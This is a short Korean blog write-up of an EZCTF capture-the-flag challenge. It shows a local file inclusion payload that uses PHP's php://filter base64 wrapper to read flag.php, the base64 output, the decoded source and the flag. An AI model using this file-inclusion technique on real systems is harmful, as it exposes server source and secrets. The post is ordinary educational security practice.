본문 바로가기
CTF

[EZCTF] I made a blog!

by skyepodium 2022. 6. 5.

1. 개요

php filter bypass 문제

 

2. 풀이

1) robots.txt

robots.txt에 접속하면 flag.php에 플래가 있다고 합니다.

다만, filter가 걸려있어 확인 할 수 없습니다.

2) LFI

flag를 읽으면서 base64로 인코딩하여 결과를 확인합니다.

http://ez.ctf.cafe:9999/blog-posts.php?file=php://filter/convert.base64-encode/resource=flag.php
PD9waHAKCWVjaG8gJ0hvdyBkbyB5b3UgZmlsdGVyIHlvdXIgY29mZmVlPyc7ICAgIAoJLy8gRVotQ1RGe0xGSV8xU18zWn0KPz4K

3) Base64

디코딩하면 PHP파일을 읽어줍니다.

<?php
	echo 'How do you filter your coffee?';    
	// EZ-CTF{LFI_1S_3Z}
?>

'CTF' 카테고리의 다른 글

[EZCTF] Neo  (0) 2022.06.05
[EZCTF] Super Secure  (0) 2022.06.05
[SECCON Beginners CTF 2022] BeginnersBof  (0) 2022.06.05
[SECCON Beginners CTF 2022] CoughingFox  (0) 2022.06.05
[SECCON Beginners CTF 2022] Quiz  (0) 2022.06.05